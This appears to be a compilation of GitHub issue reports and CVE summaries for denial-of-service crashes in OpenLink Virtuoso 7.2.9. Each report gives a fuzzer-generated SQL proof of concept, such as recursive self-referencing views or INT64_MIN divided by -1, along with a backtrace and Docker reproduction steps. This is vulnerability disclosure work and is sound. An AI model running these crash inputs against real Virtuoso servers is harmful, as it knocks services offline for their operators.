An issue in the psiginfo component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
    x LONG VARCHAR,
    a INTEGER DEFAULT 0,
    b LONG VARCHAR,
    t2 LONG VARCHAR
);
CREATE VIEW t1 AS SELECT \* FROM t1;
INSERT INTO t1(t2, x, x) VALUES('one-toasted,one-null', '', repeat('1234567890',50000));

backtrace:

#0 0x7f421a573900 (psiginfo+0x134a0)
#1 0x7f421a588f9a (vscanf+0x14a)
#2 0x7f421a55edf6 (\_\_snprintf+0x96)
#3 0x5a2227 (sch\_full\_proc\_name\_1+0x2c7)
#4 0x7879a3 (sinv\_find\_func\_map+0x143)
#5 0x788fb7 (sinv\_check\_exp+0x317)
#6 0x78a03d (sinv\_sqlo\_check\_col\_val+0xad)
#7 0x816d50 (sqlc\_insert\_view+0x330)
#8 0x81721d (sqlc\_insert\_view+0x7fd)
#9 0x81721d (sqlc\_insert\_view+0x7fd)
#10 0x81721d (sqlc\_insert\_view+0x7fd)
#11 0x81721d (sqlc\_insert\_view+0x7fd)
#12 0x81721d (sqlc\_insert\_view+0x7fd)
#13 0x81721d (sqlc\_insert\_view+0x7fd)
...
#5714 0x81721d (sqlc\_insert\_view+0x7fd)
#5715 0x81721d (sqlc\_insert\_view+0x7fd)
#5716 0x81721d (sqlc\_insert\_view+0x7fd)
#5717 0x6b7387 (sql\_stmt\_comp+0x987)
#5718 0x6ba122 (sql\_compile\_1+0x1a62)
#5719 0x7c8cd0 (stmt\_set\_query+0x340)
#5720 0x7cabc2 (sf\_sql\_execute+0x922)
#5721 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#5722 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#5723 0xe1f01c (future\_wrapper+0x3fc)
#5724 0xe2691e (\_thread\_boot+0x11e)
#5725 0x7f421a84c609 (start\_thread+0xd9)
#5726 0x7f421a61c133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31625: virtuoso 7.2.9 crashed at psiginfo (maybe the same as #1118) · Issue #1132 · openlink/virtuoso-opensource

An issue in the mp_box_deserialize_string function in openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

**Description**

When running the following statement on an empty virtuoso-opensource database, the database just crashed:

SELECT table\_name as name, 'TABLE' as type, '' as parentname FROM information\_schema.tables
UNION 
SELECT column\_name as name, data\_type as type, table\_name as parentname FROM information\_schema.columns

**The Way to Reproduce**

Just running the following command to reproduce the crash:

docker run --name virtdb -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # start virtuoso through docker
sleep 10 # wait the server starting
echo "SELECT 1;" | docker exec -i virtdb isql 1111 dba # check whether the simple query works
# The command to crash virtuoso 
echo "SELECT table\_name as name, 'TABLE' as type, '' as parentname FROM information\_schema.tables UNION SELECT column\_name as name, data\_type as type, table\_name as parentname FROM information\_schema.columns;" | docker exec -i virtdb isql 1111 dba

the output in shell:

    OpenLink Virtuoso Interactive SQL (Virtuoso)
    Version 07.20.3236 as of Feb 27 2023
    Type HELP; for help and EXIT; to exit.
    Connected to OpenLink Virtuoso
    Driver: 07.20.3236 OpenLink Virtuoso ODBC Driver
    SQL> 
    *** Error 08S01: [Virtuoso Driver]CL065: Lost connection to server
    at line 1 of Top-Level:
    SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns
    

You can see the error "Lost connection to server", and the container is stopped due to the abnormal exit of the virtuoso instance.

**Backtrace**

The backtrace when crash is as follow. I compiled virtuoso-opensource 7.2.9 with debug mode to get it.

    Thread 8 "virtuoso-t" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7fffdfdb4700 (LWP 1440941)]
    0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, 
        text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
    292       switch ((dtp_t)text[0])
    (gdb) bt
    #0  0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, 
        text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
    #1  0x0000000000427b34 in cha_box_col (cha=0x7fffec416108, ha=0x7fffc8025bf0, row=0x7fffec424720 "k9\241\220(\230\310\r", inx=3)
        at chash.c:2320
    #2  0x00000000004253f1 in chash_to_memcache (inst=0x7fffc802b2f8, tree=0x7fffc802a158, ha=0x7fffc8025bf0) at chash.c:2364
    #3  0x00000000004278e4 in setp_chash_distinct (setp=0x7fffc8025970, inst=0x7fffc802b2f8) at chash.c:2292
    #4  0x0000000000593df7 in setp_node_run (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8, print_blobs=0) at sort.c:385
    #5  0x00000000005948c7 in setp_node_input (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:606
    #6  0x00000000006bb4e3 in qn_input (xx=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #7  0x00000000006bb74a in qn_send_output (src=0x7fffc8024ae0, state=0x7fffc802b2f8) at sqlrun.c:1028
    #8  0x000000000042b6f8 in hash_source_chash_input (hs=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:3233
    #9  0x00000000004d268c in hash_source_input (hs=0x7fffc8024ae0, qst=0x7fffc802b2f8, qst_cont=0x7fffc802b2f8) at hash.c:2613
    #10 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #11 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc8024400, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
    #12 0x00000000006bf39f in table_source_input (ts=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
    #13 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #14 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc80235b0, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
    #15 0x00000000006bf39f in table_source_input (ts=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
    #16 0x00000000006bb4e3 in qn_input (xx=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #17 0x0000000000594e55 in union_node_input (un=0x7fffc800f5d0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:672
    #18 0x000000000066c60f in qr_resume_pending_nodes (subq=0x7fffc8020680, inst=0x7fffc802b2f8) at sqlintrp.c:1185
    #19 0x000000000066c923 in subq_next (subq=0x7fffc8020680, inst=0x7fffc802b2f8, cr_state=2) at sqlintrp.c:1243
    #20 0x000000000070e52c in subq_node_vec_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x0) at sqlvnode.c:702
    #21 0x0000000000594a8b in subq_node_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:691
    #22 0x00000000006bb4e3 in qn_input (xx=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #23 0x00000000006bb74a in qn_send_output (src=0x7fffc80202b0, state=0x7fffc802b2f8) at sqlrun.c:1028
    #24 0x0000000000439b1a in chash_fill_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:6013
    #25 0x00000000004d3c05 in hash_fill_node_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, qst=0x7fffc802b2f8) at hash.c:3253
    #26 0x00000000006bb4e3 in qn_input (xx=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #27 0x00000000006bb74a in qn_send_output (src=0x7fffc8027e30, state=0x7fffc802b2f8) at sqlrun.c:1028
    #28 0x000000000070e189 in set_ctr_vec_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlvnode.c:632
    #29 0x0000000000596fb4 in set_ctr_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:1319
    #30 0x00000000006bb4e3 in qn_input (xx=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
    #31 0x00000000006c791e in qr_exec (cli=0x7fffc8000e30, qr=0x7fffc801a380, caller=0x2, cr_name=0x7fffc802bdf8 "s1111_1_0", stmt=0x7fffc8018b30, 
        lc_ret=0x0, parms=0x7fffd4021de8, opts=0x7fffd4021f08, named_params=0) at sqlrun.c:4344
    #32 0x00000000006d1f5b in sf_sql_execute (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", cursor_name=0x7fffd4021ec8 "s1111_1_0", 
        params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2006
    #33 0x00000000006d26fe in sf_sql_execute_w (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", 
        cursor_name=0x7fffd4021ec8 "s1111_1_0", params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2049
    #34 0x00000000006d9620 in sf_sql_execute_wrapper (args=0x7fffdfdb3e30) at sqlsrv.c:3995
    #35 0x0000000000b777f6 in future_wrapper (ignore=0x0) at Dkernel.c:1171
    #36 0x0000000000b7da94 in _thread_boot (arg=0x7fffd4011370) at sched_pthread.c:296
    #37 0x00007ffff7c3a609 in start_thread (arg=<optimized out>) at pthread_create.c:477
    --Type <RET> for more, q to quit, c to continue without paging--
    #38 0x00007ffff7a0a133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

CVE-2023-31614: virtuoso *crashed* after running a SELECT statement · Issue #1117 · openlink/virtuoso-opensource

An issue in the stricmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
  x VARCHAR,
  k VARCHAR
);
CREATE VIEW t1 AS SELECT x, k FROM t1;
INSERT INTO t1 VALUES ('x', 'y');

backtrace:

#0 0xeff7b6 (stricmp+0x6)
#1 0x607569 (strihashcmp+0x29)
#2 0xdec7af (id\_hash\_get+0x5f)
#3 0x607e58 (sch\_name\_to\_object\_sc+0x58)
#4 0x6081b5 (sch\_name\_to\_object+0xf5)
#5 0x7d8f70 (sqlc\_insert+0x50)
#6 0x81721d (sqlc\_insert\_view+0x7fd)
#7 0x81721d (sqlc\_insert\_view+0x7fd)
#8 0x81721d (sqlc\_insert\_view+0x7fd)
#9 0x81721d (sqlc\_insert\_view+0x7fd)
#10 0x81721d (sqlc\_insert\_view+0x7fd)
...
#5737 0x81721d (sqlc\_insert\_view+0x7fd)
#5738 0x81721d (sqlc\_insert\_view+0x7fd)
#5739 0x6b7387 (sql\_stmt\_comp+0x987)
#5740 0x6ba122 (sql\_compile\_1+0x1a62)
#5741 0x7c8cd0 (stmt\_set\_query+0x340)
#5742 0x7cabc2 (sf\_sql\_execute+0x922)
#5743 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#5744 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#5745 0xe1f01c (future\_wrapper+0x3fc)
#5746 0xe2691e (\_thread\_boot+0x11e)
#5747 0x7fa64e4f4609 (start\_thread+0xd9)
#5748 0x7fa64e2c4133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31628: virtuoso 7.2.9 crashed at stricmp (maybe the same as #1118) · Issue #1141 · openlink/virtuoso-opensource

An issue in the chash_array component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(x INTEGER UNIQUE);
CREATE TABLE k(v varchar(255), excluded varchar(255));
INSERT INTO t1(x, x, x, x, x, x, x) VALUES(16183,15638,6,0,5,2,0);
SELECT 'one', t1.\* FROM t1 LEFT JOIN k ON t1.x\=k.v WHERE k.v IS NULL;

backtrace:

#0 0x4257c4 (chash\_array+0x834)
#1 0x43932f (hash\_source\_chash\_input+0x6df)
#2 0x7ac43e (qn\_input+0x3ce)
#3 0x7ac8a6 (qn\_send\_output+0x236)
#4 0x81e26d (set\_ctr\_vec\_input+0x94d)
#5 0x7ac43e (qn\_input+0x3ce)
#6 0x7acb6f (qn\_ts\_send\_output+0x23f)
#7 0x7b247e (table\_source\_input+0x16ee)
#8 0x7ac43e (qn\_input+0x3ce)
#9 0x7ac8a6 (qn\_send\_output+0x236)
#10 0x44c34e (chash\_fill\_input+0x13e)
#11 0x535d6f (hash\_fill\_node\_input+0xef)
#12 0x7ac43e (qn\_input+0x3ce)
#13 0x7ac8a6 (qn\_send\_output+0x236)
#14 0x81e26d (set\_ctr\_vec\_input+0x94d)
#15 0x7ac43e (qn\_input+0x3ce)
#16 0x7bdc6e (qr\_exec+0x11ee)
#17 0x7cb446 (sf\_sql\_execute+0x11a6)
#18 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#19 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#20 0xe1f01c (future\_wrapper+0x3fc)
#21 0xe2691e (\_thread\_boot+0x11e)
#22 0x7fac44860609 (start\_thread+0xd9)
#23 0x7fac44630133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31615: virtuoso 7.2.9 crashed at chash_array · Issue #1124 · openlink/virtuoso-opensource

An issue in the artm_div_int component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at artm\_div\_int #1123**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

SELECT CAST('\-9223372036854775808' AS INTEGER) / CAST('\-1' AS SMALLINT);

backtrace:

#0 0xc227a4 (artm\_div\_int+0xf4)
#1 0xc23766 (artm\_vec+0x7d6)
#2 0x7518c2 (code\_vec\_run\_v+0x10e2)
#3 0x7ac3ff (qn\_input+0x38f)
#4 0x7ac8a6 (qn\_send\_output+0x236)
#5 0x81e26d (set\_ctr\_vec\_input+0x94d)
#6 0x7ac43e (qn\_input+0x3ce)
#7 0x7bdc6e (qr\_exec+0x11ee)
#8 0x7cb446 (sf\_sql\_execute+0x11a6)
#9 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#10 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#11 0xe1f01c (future\_wrapper+0x3fc)
#12 0xe2691e (\_thread\_boot+0x11e)
#13 0x7eff81a0c609 (start\_thread+0xd9)
#14 0x7eff817dc133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31608: virtuoso 7.2.9 crashed at artm_div_int · Issue #1123 · openlink/virtuoso-opensource

An issue in the sch_name_to_object component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(x VARCHAR, k VARCHAR, v VARCHAR);
CREATE VIEW t1 AS SELECT x, x FROM t1;
UPDATE t1 SET x \= x + 100;

backtrace:

#0 0x6080d1 (sch\_name\_to\_object+0x11)
#1 0x7dcf6f (sqlc\_update\_searched+0x6f)
#2 0x817cd1 (sqlc\_update\_view+0xaa1)
#3 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#4 0x817cd1 (sqlc\_update\_view+0xaa1)
#5 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#6 0x817cd1 (sqlc\_update\_view+0xaa1)
#7 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#8 0x817cd1 (sqlc\_update\_view+0xaa1)
#9 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#10 0x817cd1 (sqlc\_update\_view+0xaa1)
...
#2546 0x817cd1 (sqlc\_update\_view+0xaa1)
#2547 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#2548 0x817cd1 (sqlc\_update\_view+0xaa1)
#2549 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#2550 0x817cd1 (sqlc\_update\_view+0xaa1)
#2551 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#2552 0x6b7212 (sql\_stmt\_comp+0x812)
#2553 0x6ba122 (sql\_compile\_1+0x1a62)
#2554 0x7c8cd0 (stmt\_set\_query+0x340)
#2555 0x7cabc2 (sf\_sql\_execute+0x922)
#2556 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#2557 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#2558 0xe1f01c (future\_wrapper+0x3fc)
#2559 0xe2691e (\_thread\_boot+0x11e)
#2560 0x7f5b7a921609 (start\_thread+0xd9)
#2561 0x7f5b7a6f1133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31619: virtuoso 7.2.9 crashed at sch_name_to_object · Issue #1133 · openlink/virtuoso-opensource

An issue in the bif_mod component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

SELECT MOD(\-9223372036854775808, \-1);

backtrace:

#0 0x66a32e (bif\_mod+0xce)
#1 0x74ae62 (sqlr\_run\_bif\_in\_sandbox+0x392)
#2 0x79b598 (sqlp\_patch\_call\_if\_special\_or\_optimizable+0x1148)
#3 0xccffe7 (scn3yyparse+0xc5d7)
#4 0x6b995b (sql\_compile\_1+0x129b)
#5 0x7c8cd0 (stmt\_set\_query+0x340)
#6 0x7cabc2 (sf\_sql\_execute+0x922)
#7 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#8 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#9 0xe1f01c (future\_wrapper+0x3fc)
#10 0xe2691e (\_thread\_boot+0x11e)
#11 0x7f1cfacc6609 (start\_thread+0xd9)
#12 0x7f1cfaa96133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

CVE-2023-31616: virtuoso 7.2.9 crashed at bif_mod · Issue #1122 · openlink/virtuoso-opensource

An issue in the __nss_database_lookup component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

**virtuoso 7.2.9 crashed at \_\_nss\_database\_lookup #1121**

fuboat opened this issue

Apr 12, 2023

· 0 comments

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (c1 INT, c2 BINARY(100),c3 FLOAT);
INSERT INTO t1 VALUES (100,'abcdefghij',3.0);
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (2,'abcde');
UPDATE t1 SET c2 \= (SELECT MAX(c1) FROM t2);

backtrace:

#0 0x7fd63dbe3a7d (\_\_nss\_database\_lookup+0x2861d)
#1 0xffffffffffffffff -- no symbol name found

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

1 participant

CVE-2023-31613: virtuoso 7.2.9 crashed at __nss_database_lookup · Issue #1121 · openlink/virtuoso-opensource

An issue in the dfe_qexp_list component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 1 comment

Closed

**virtuoso 7.2.9 crashed at dfe\_qexp\_list #1125**

fuboat opened this issue

Apr 12, 2023

· 1 comment

**Comments**

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1 (
    x VARCHAR,
    y VARCHAR
 );

SELECT IFNULL(MIN(x), \-1), IFNULL(MAX(x), \-1)
FROM (
  SELECT x FROM t1 UNION ALL
  SELECT NULL
) AS temp;

backtrace:

#0 0x737010 (dfe\_qexp\_list+0x40)
#1 0x73711d (dfe\_qexp\_list+0x14d)
#2 0x7474c9 (dfe\_union\_dfe+0xc9)
#3 0x747878 (sqlg\_set\_ts\_order+0x198)
#4 0x747efd (sqlg\_top\_1+0xed)
#5 0x70d4d4 (sqlo\_top\_select+0x164)
#6 0x6b72bf (sql\_stmt\_comp+0x8bf)
#7 0x6ba122 (sql\_compile\_1+0x1a62)
#8 0x7c8cd0 (stmt\_set\_query+0x340)
#9 0x7cabc2 (sf\_sql\_execute+0x922)
#10 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#11 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#12 0xe1f01c (future\_wrapper+0x3fc)
#13 0xe2691e (\_thread\_boot+0x11e)
#14 0x7f460b246609 (start\_thread+0xd9)
#15 0x7f460b016133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

This crash has been fixed by some of the patches we committed recently.

2 participants

CVE-2023-31612: virtuoso 7.2.9 crashed at dfe_qexp_list · Issue #1125 · openlink/virtuoso-opensource

An issue in the mp_box_copy component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t1(
    x INTEGER PRIMARY KEY,
    k VARCHAR
  );
CREATE VIEW t1 AS SELECT k, k FROM t1;
UPDATE t1 SET k \= k\-1 WHERE k \> 100 AND x \= 128;

backtrace:

#0 0xe086e9 (mp\_box\_copy+0x9)
#1 0xe08dd0 (mp\_box\_copy\_tree+0xc0)
#2 0x815b3a (sqlc\_col\_to\_view\_scope+0x4fa)
#3 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#4 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#5 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#6 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#7 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#8 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#9 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#10 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#11 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#12 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
...
#1045 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1046 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1047 0x815ee2 (sqlc\_exp\_to\_view\_scope+0x162)
#1048 0x817c90 (sqlc\_update\_view+0xa60)
#1049 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1050 0x817cd1 (sqlc\_update\_view+0xaa1)
#1051 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1052 0x817cd1 (sqlc\_update\_view+0xaa1)
#1053 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1054 0x817cd1 (sqlc\_update\_view+0xaa1)
#1055 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#1056 0x817cd1 (sqlc\_update\_view+0xaa1)
...
#3132 0x817cd1 (sqlc\_update\_view+0xaa1)
#3133 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#3134 0x817cd1 (sqlc\_update\_view+0xaa1)
#3135 0x7ddad0 (sqlc\_update\_searched+0xbd0)
#3136 0x6b7212 (sql\_stmt\_comp+0x812)
#3137 0x6ba122 (sql\_compile\_1+0x1a62)
#3138 0x7c8cd0 (stmt\_set\_query+0x340)
#3139 0x7cabc2 (sf\_sql\_execute+0x922)
#3140 0x7cbf4e (sf\_sql\_execute\_w+0x17e)
#3141 0x7d4c0d (sf\_sql\_execute\_wrapper+0x3d)
#3142 0xe1f01c (future\_wrapper+0x3fc)
#3143 0xe2691e (\_thread\_boot+0x11e)
#3144 0x7f2025e0d609 (start\_thread+0xd9)
#3145 0x7f2025bdd133 (clone+0x43)

ways to reproduce (write poc to the file '/tmp/test.sql' first):

# remove the old one
docker container rm virtdb\_test -f
# start virtuoso through docker
docker run --name virtdb\_test -itd --env DBA\_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb\_test isql 1111 dba
# run the poc
docker exec -i virtdb\_test isql 1111 dba < "/tmp/test.sql"

Tag

#sql